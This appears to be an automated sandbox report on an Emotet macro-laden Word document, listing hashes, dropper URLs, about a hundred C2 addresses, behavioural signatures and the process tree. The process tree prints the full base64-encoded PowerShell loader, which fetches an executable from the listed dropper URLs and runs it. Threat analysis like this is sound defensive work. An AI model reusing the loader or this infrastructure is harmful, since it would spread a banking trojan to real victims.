emotet | ff21a2ec6d99469e4b92b0e12a00fde35952edf0f9d9d296eb4a9f5ec13d2a49

General

Target
emotet_e1_ff21a2ec6d99469e4b92b0e12a00fde35952edf0f9d9d296eb4a9f5ec13d2a49_2020-09-04__152623._doc.doc
Size 121KB
Sample200904-2p3qak8frs
SHA256 ff21a2ec6d99469e4b92b0e12a00fde35952edf0f9d9d296eb4a9f5ec13d2a49
MD5 596a2bf1e9b53d68e1ac493f3a9ea976
SHA1 814069d5663192765f7528651b2411fc14361160
SHA512 712d60d095bfcad4015544ea79601cff8a8a625265a875a8e7b7c6fbc61bf095c7c7b272b4370b2eaa87a8a7f3848dc0b15cd4860209d2e8f6cd0eb53fd18229
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper
http://must-in.com/wp-admin/Q/
exe.dropper
http://maximumwebimpact.com/test/rL9/
exe.dropper
http://aldama.com/www/jkm/
exe.dropper
http://www.bismarjeparamebel.com/wp-includes/SX/
exe.dropper
http://staniszczak.net/cpf/F/
exe.dropper
http://sriharshampromoters.com/sriharshaptr/8/
exe.dropper
https://twisterprint.com/stats/KsU/

Extracted

Family

emotet

C2

185.215.227.107:443
51.38.124.206:80
38.88.126.202:8080
54.37.42.48:8080
172.104.169.32:8080
68.183.190.199:8080
187.162.248.237:80
82.76.111.249:443
184.66.18.83:80
190.6.193.152:8080
77.238.212.227:80
199.203.62.165:80
188.2.217.94:80
185.94.252.12:80
178.250.54.208:8080
206.15.68.237:443
65.36.62.20:80
216.47.196.104:80
219.92.8.17:8080
213.60.96.117:80
77.55.211.77:8080
72.167.223.217:8080
177.74.228.34:80
186.103.141.250:443
190.163.31.26:80
85.109.159.61:443
68.183.170.114:8080
213.197.182.158:8080
45.161.242.102:80
71.197.211.156:80
104.131.103.37:8080
94.176.234.118:443
190.2.31.172:80
5.196.35.138:7080
190.195.129.227:8090
67.247.242.247:80
64.201.88.132:80
152.169.22.67:80
24.135.1.177:80
191.182.6.118:80
51.159.23.217:443
110.142.219.51:80
68.69.155.181:80
82.196.15.205:8080
77.90.136.129:8080
181.129.96.162:8080
45.33.77.42:8080
95.9.180.128:80
192.241.146.84:8080
91.219.169.180:80
188.135.15.49:80
212.71.237.140:8080
98.13.75.196:80
72.47.248.48:7080
209.236.123.42:8080
217.13.106.14:8080
219.92.13.25:80
177.72.13.80:80
12.162.84.2:8080
177.73.0.98:443
50.121.220.50:80
185.178.10.77:80
216.10.40.16:80
61.92.159.208:8080
170.81.48.2:80
45.16.226.117:443
185.94.252.27:443
217.199.160.224:7080
178.79.163.131:8080
186.70.127.199:8090
91.121.54.71:8080
190.190.148.27:8080
190.24.243.186:80
138.97.60.141:7080
104.131.41.185:8080
73.213.208.163:80
181.30.61.163:443
103.106.236.83:8080
192.241.143.52:8080
87.106.46.107:8080
2.47.112.152:80
45.173.88.33:80
204.225.249.100:7080
111.67.77.202:8080
70.32.115.157:8080
111.67.12.221:8080
70.32.84.74:8080
58.171.153.81:80
190.147.137.153:443
190.115.18.139:8080
83.169.21.32:7080
5.189.178.202:8080
50.28.51.143:8080
137.74.106.111:7080
189.2.177.210:443
72.135.200.124:80
51.255.165.160:8080

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2412	4024	powershell.exe	72

Blacklisted process makes network request 1 IoCs

flow	pid	Process
24	2412	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
2176	Uzwko5gz0.exe
808	Windows.Media.BackgroundPlayback.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\certutil\Windows.Media.BackgroundPlayback.exe	Uzwko5gz0.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\ServiceProfiles\LocalService\winhttp\cachev3.dat	svchost.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE

Modifies data under HKEY_USERS 5 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0e-3e-6f-2c-c8-c7	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0e-3e-6f-2c-c8-c7\WpadDecisionReason = "1"	svchost.exe
Set value (data)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0e-3e-6f-2c-c8-c7\WpadDecisionTime = d7df0f42e082d601	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0e-3e-6f-2c-c8-c7\WpadDecision = "0"	svchost.exe

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3876	WINWORD.EXE
3876	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
2412	powershell.exe
2412	powershell.exe
2412	powershell.exe
808	Windows.Media.BackgroundPlayback.exe
808	Windows.Media.BackgroundPlayback.exe
808	Windows.Media.BackgroundPlayback.exe
808	Windows.Media.BackgroundPlayback.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeShutdownPrivilege	8	svchost.exe
Token: SeCreatePagefilePrivilege	8	svchost.exe
Token: SeDebugPrivilege	2412	powershell.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
3876	WINWORD.EXE
3876	WINWORD.EXE
3876	WINWORD.EXE
3876	WINWORD.EXE
3876	WINWORD.EXE
3876	WINWORD.EXE
3876	WINWORD.EXE
3876	WINWORD.EXE
3876	WINWORD.EXE
2176	Uzwko5gz0.exe
2176	Uzwko5gz0.exe
808	Windows.Media.BackgroundPlayback.exe
808	Windows.Media.BackgroundPlayback.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2412 wrote to memory of 2176	2412	powershell.exe	80
PID 2412 wrote to memory of 2176	2412	powershell.exe	80
PID 2412 wrote to memory of 2176	2412	powershell.exe	80
PID 2176 wrote to memory of 808	2176	Uzwko5gz0.exe	81
PID 2176 wrote to memory of 808	2176	Uzwko5gz0.exe	81
PID 2176 wrote to memory of 808	2176	Uzwko5gz0.exe	81

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_ff21a2ec6d99469e4b92b0e12a00fde35952edf0f9d9d296eb4a9f5ec13d2a49_2020-09-04__152623._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3876

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -s WinHttpAutoProxySvc
1⤵
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:8

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -e JABIAGoAZQBpAHAAYQBnAD0AKAAnAFYAJwArACgAJwB4ADYAYQAnACsAJwBqAHAAMwAnACkAKQA7AC4AKAAnAG4AJwArACcAZQB3AC0AJwArACcAaQB0AGUAbQAnACkAIAAkAEUATgB2ADoAVQBTAEUAUgBQAHIATwBGAEkATABFAFwASgBMAHQAOABMADEANgBcAFMAeQBXAFMARgBLADgAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAARABpAHIAZQBjAFQATwBSAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMARQBjAHUAYABSAEkAYABUAHkAUAByAE8AdABgAE8AYwBPAEwAIgAgAD0AIAAoACgAJwB0AGwAcwAnACsAJwAxADIALAAgAHQAbAAnACkAKwAoACcAcwAxACcAKwAnADEAJwApACsAKAAnACwAIAB0ACcAKwAnAGwAJwApACsAJwBzACcAKQA7ACQAUQBjADcANwBrAGMAcwAgAD0AIAAoACcAVQAnACsAJwB6AHcAJwArACgAJwBrACcAKwAnAG8ANQBnACcAKwAnAHoAMAAnACkAKQA7ACQARwAwAGwAdABiAG4AZgA9ACgAKAAnAFAAYQAwACcAKwAnAGsAJwApACsAJwBiACcAKwAnAG4AZQAnACkAOwAkAEsANABxADAAdwA4AGEAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACcAeQAnACsAKAAnAGgAYQBKAGwAJwArACcAdAA4AGwAMQAnACsAJwA2AHkAJwApACsAJwBoACcAKwAoACcAYQBTAHkAdwAnACsAJwBzACcAKQArACcAZgAnACsAJwBrACcAKwAoACcAOAB5ACcAKwAnAGgAYQAnACkAKQAtAEMAcgBFAFAAbABhAGMAZQAgACgAWwBDAGgAQQBSAF0AMQAyADEAKwBbAEMAaABBAFIAXQAxADAANAArAFsAQwBoAEEAUgBdADkANwApACwAWwBDAGgAQQBSAF0AOQAyACkAKwAkAFEAYwA3ADcAawBjAHMAKwAoACcALgAnACsAKAAnAGUAeAAnACsAJwBlACcAKQApADsAJABCAHoANwA1AHoAawA3AD0AKAAnAFIAJwArACgAJwBxAHoAJwArACcAeAA5AHEAYwAnACkAKQA7ACQARgBhADMAdABiADcAMAA9AC4AKAAnAG4AZQB3ACcAKwAnAC0AbwBiAGoAJwArACcAZQBjAHQAJwApACAATgBFAHQALgB3AGUAYgBDAEwASQBlAG4AVAA7ACQAVgA2ADUAcwBkAGYAbAA9ACgAKAAnAGgAJwArACcAdAB0AHAAOgAnACsAJwAvAC8AbQAnACkAKwAoACcAdQBzAHQALQAnACsAJwBpACcAKQArACcAbgAnACsAJwAuACcAKwAnAGMAbwAnACsAKAAnAG0ALwB3ACcAKwAnAHAAJwApACsAKAAnAC0AYQAnACsAJwBkACcAKwAnAG0AaQAnACsAJwBuAC8AUQAvACoAaAAnACkAKwAoACcAdAAnACsAJwB0AHAAJwApACsAKAAnADoALwAvACcAKwAnAG0AJwApACsAKAAnAGEAeABpAG0AJwArACcAdQBtAHcAZQBiACcAKQArACcAaQAnACsAKAAnAG0AcAAnACsAJwBhAGMAdAAnACkAKwAoACcALgBjACcAKwAnAG8AbQAvACcAKQArACcAdABlACcAKwAoACcAcwB0ACcAKwAnAC8AcgAnACkAKwAoACcATAA5AC8AJwArACcAKgAnACsAJwBoAHQAJwApACsAJwB0ACcAKwAnAHAAJwArACcAOgAvACcAKwAoACcALwAnACsAJwBhAGwAZABhACcAKQArACcAbQAnACsAJwBhACcAKwAnAC4AJwArACgAJwBjACcAKwAnAG8AbQAvAHcAJwArACcAdwAnACkAKwAoACcAdwAvAGoAawBtAC8AJwArACcAKgBoACcAKwAnAHQAJwApACsAKAAnAHQAcAAnACsAJwA6ACcAKQArACgAJwAvAC8AJwArACcAdwB3ACcAKQArACcAdwAnACsAKAAnAC4AYgAnACsAJwBpAHMAJwApACsAJwBtAGEAJwArACcAcgAnACsAKAAnAGoAZQAnACsAJwBwACcAKQArACgAJwBhAHIAJwArACcAYQBtACcAKQArACgAJwBlAGIAZQBsAC4AYwBvACcAKwAnAG0ALwAnACkAKwAoACcAdwAnACsAJwBwAC0AaQBuACcAKQArACcAYwAnACsAKAAnAGwAdQBkACcAKwAnAGUAcwAvACcAKQArACgAJwBTAFgALwAnACsAJwAqACcAKQArACgAJwBoAHQAdAAnACsAJwBwADoALwAnACsAJwAvACcAKQArACgAJwBzAHQAYQAnACsAJwBuAGkAJwApACsAJwBzACcAKwAnAHoAYwAnACsAKAAnAHoAJwArACcAYQBrACcAKQArACgAJwAuAG4AZQB0ACcAKwAnAC8AYwAnACkAKwAoACcAcAAnACsAJwBmAC8AJwApACsAJwBGAC8AJwArACgAJwAqAGgAdAB0AHAAJwArACcAOgAnACkAKwAnAC8AJwArACcALwAnACsAKAAnAHMAcgAnACsAJwBpAGgAYQByACcAKQArACgAJwBzAGgAYQBtACcAKwAnAHAAcgAnACkAKwAnAG8AbQAnACsAKAAnAG8AdABlACcAKwAnAHIAcwAnACkAKwAnAC4AJwArACgAJwBjACcAKwAnAG8AbQAnACsAJwAvAHMAcgBpAGgAYQAnACkAKwAoACcAcgAnACsAJwBzAGgAJwApACsAKAAnAGEAcAAnACsAJwB0AHIALwAnACkAKwAoACcAOAAvACoAaAAnACsAJwB0ACcAKQArACcAdAAnACsAKAAnAHAAcwAnACsAJwA6AC8ALwAnACsAJwB0AHcAaQBzAHQAZQByACcAKwAnAHAAJwArACcAcgBpACcAKQArACgAJwBuAHQALgAnACsAJwBjAG8AbQAnACkAKwAnAC8AcwAnACsAKAAnAHQAYQB0AHMAJwArACcALwBLAHMAJwApACsAJwBVACcAKwAnAC8AJwApAC4AIgBzAFAAYABMAEkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAEgAOQAyAGkAdwBsAHYAPQAoACgAJwBXAHoAJwArACcANgAzACcAKQArACcAOAAnACsAJwB0AHkAJwApADsAZgBvAHIAZQBhAGMAaAAoACQAWQBsAGYAMAB2ADgAMQAgAGkAbgAgACQAVgA2ADUAcwBkAGYAbAApAHsAdAByAHkAewAkAEYAYQAzAHQAYgA3ADAALgAiAGQAYABvAFcAbgBsAE8AYQBEAGAARgBpAGAATABlACIAKAAkAFkAbABmADAAdgA4ADEALAAgACQASwA0AHEAMAB3ADgAYQApADsAJABFADMAMwBzADQAZQA0AD0AKAAnAEIAdgAnACsAKAAnADUAdwB5AHMAJwArACcAeQAnACkAKQA7AEkAZgAgACgAKAAmACgAJwBHAGUAdAAtAEkAJwArACcAdAAnACsAJwBlAG0AJwApACAAJABLADQAcQAwAHcAOABhACkALgAiAEwAZQBuAGAARwB0AGgAIgAgAC0AZwBlACAAMgAyADcANQA3ACkAIAB7ACYAKAAnAEkAbgAnACsAJwB2AG8AawBlAC0AJwArACcASQAnACsAJwB0AGUAbQAnACkAKAAkAEsANABxADAAdwA4AGEAKQA7ACQATgBhAGQAdwA3AF8AMwA9ACgAKAAnAEsAMAAnACsAJwBhAHEAJwApACsAJwBlACcAKwAnADQAZgAnACkAOwBiAHIAZQBhAGsAOwAkAEwAcgBmAHoAdgB4AGYAPQAoACgAJwBVAGcAJwArACcAYgByACcAKQArACcAXwAnACsAJwA1AG0AJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABTADUAbwB0AHYAeABrAD0AKAAnAFoAbwAnACsAJwBvACcAKwAoACcAZgA0AHQAJwArACcAMAAnACkAKQA=
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2412
- C:\Users\Admin\Jlt8l16\Sywsfk8\Uzwko5gz0.exe
  "C:\Users\Admin\Jlt8l16\Sywsfk8\Uzwko5gz0.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:2176
- - C:\Windows\SysWOW64\certutil\Windows.Media.BackgroundPlayback.exe
    "C:\Windows\SysWOW64\certutil\Windows.Media.BackgroundPlayback.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:808

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/808-19-0x0000000000920000-0x000000000092C000-memory.dmp

Download

memory/808-18-0x0000000000910000-0x000000000091D000-memory.dmp

Download

memory/2176-15-0x00000000005E0000-0x00000000005EC000-memory.dmp

Download

memory/2176-14-0x00000000005D0000-0x00000000005DD000-memory.dmp

Download

memory/2412-10-0x000002AEA8BF0000-0x000002AEA8BF1000-memory.dmp

Download

memory/2412-9-0x000002AEA8A30000-0x000002AEA8A31000-memory.dmp

Download

memory/2412-8-0x00007FFC58290000-0x00007FFC58C7C000-memory.dmp

Download

memory/3876-0-0x00007FFC5F430000-0x00007FFC5FAF6000-memory.dmp

Download

memory/3876-4-0x00000204CAA70000-0x00000204CAA75000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads